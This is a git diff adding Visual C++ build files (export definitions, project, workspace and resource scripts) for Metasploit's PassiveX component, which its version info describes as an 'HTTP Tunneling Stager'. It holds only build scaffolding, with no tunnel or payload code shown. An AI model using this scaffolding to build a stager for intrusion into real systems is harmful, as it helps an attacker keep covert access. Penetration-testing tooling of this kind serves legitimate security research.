a/external/source/passivex/passivex.def b/external/source/passivex/passivex.def new file mode 100644 index 0000000000..48ff7f0527 --- /dev/null +++ b/external/source/passivex/passivex.def @@ -0,0 +1,7 @@ +LIBRARY "PASSIVEX.DLL" + +EXPORTS + DllCanUnloadNow @1 PRIVATE + DllGetClassObject @2 PRIVATE + DllRegisterServer @3 PRIVATE + DllUnregisterServer @4 PRIVATE diff --git a/external/source/passivex/passivex.dsp b/external/source/passivex/passivex.dsp new file mode 100644 index 0000000000..86dfe2f0ec --- /dev/null +++ b/external/source/passivex/passivex.dsp @@ -0,0 +1,168 @@ +# Microsoft Developer Studio Project File - Name="passivex" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 + +CFG=passivex - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "passivex.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "passivex.mak" CFG="passivex - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "passivex - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "passivex - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "passivex - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NPXDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x409 /d "NDEBUG" +# ADD RSC /l 0x409 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 + +!ELSEIF "$(CFG)" == "passivex - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x409 /d "_DEBUG" +# ADD RSC /l 0x409 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept +# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "passivex - Win32 Release" +# Name "passivex - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Group "Tunnel" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=.\HttpTunnel.cpp +# End Source File +# Begin Source File + +SOURCE=.\HttpTunnel.h +# End Source File +# End Group +# Begin Source File + +SOURCE=.\CPassiveX.cpp +# End Source File +# Begin Source File + +SOURCE=.\PassiveX.cpp +# End Source File +# Begin Source File + +SOURCE=.\passivex.def +# End Source File +# Begin Source File + +SOURCE=.\PassiveX.idl + +!IF "$(CFG)" == "passivex - Win32 Release" + +# SUBTRACT MTL /mktyplib203 + +!ELSEIF "$(CFG)" == "passivex - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\passivex.rc +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\CPassiveX.h +# End Source File +# Begin Source File + +SOURCE=.\PassiveX.h +# End Source File +# Begin Source File + +SOURCE=.\PassiveXLib.h +# End Source File +# Begin Source File + +SOURCE=.\resource.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# Begin Source File + +SOURCE=.\PassiveX.bin +# End Source File +# Begin Source File + +SOURCE=.\Release\PassiveX.tlb +# End Source File +# End Group +# End Target +# End Project diff --git a/external/source/passivex/passivex.dsw b/external/source/passivex/passivex.dsw new file mode 100644 index 0000000000..9064ec9364 --- /dev/null +++ b/external/source/passivex/passivex.dsw @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "passivex"=.\passivex.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git a/external/source/passivex/passivex.rc b/external/source/passivex/passivex.rc new file mode 100644 index 0000000000..b7860d8c3e --- /dev/null +++ b/external/source/passivex/passivex.rc @@ -0,0 +1,123 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (U.S.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +#ifdef _WIN32 +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US +#pragma code_page(1252) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// TYPELIB +// + +1 TYPELIB DISCARDABLE "Release\\PassiveX.tlb" + +///////////////////////////////////////////////////////////////////////////// +// +// REGISTRY +// + +IDR_PASSIVEX REGISTRY DISCARDABLE "PassiveX.bin" + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,0 + PRODUCTVERSION 1,0,0,0 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "Metasploit\0" + VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0" + VALUE "FileVersion", "1, 0, 0, 0\0" + VALUE "InternalName", "PassiveX\0" + VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "PassiveX.dll\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "Metasploit\0" + VALUE "ProductVersion", "1, 0, 0, 0\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + +#endif // !_MAC + +#endif // English (U.S.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/external/source/passivex/resource.h b/external/source/passivex/resource.h new file mode 100644 index 0000000000..c807124e79 --- /dev/null +++ b/external/source/passivex/resource.h @@ -0,0 +1,16 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by passivex.rc +// +#define IDR_PASSIVEX 104 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 105 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif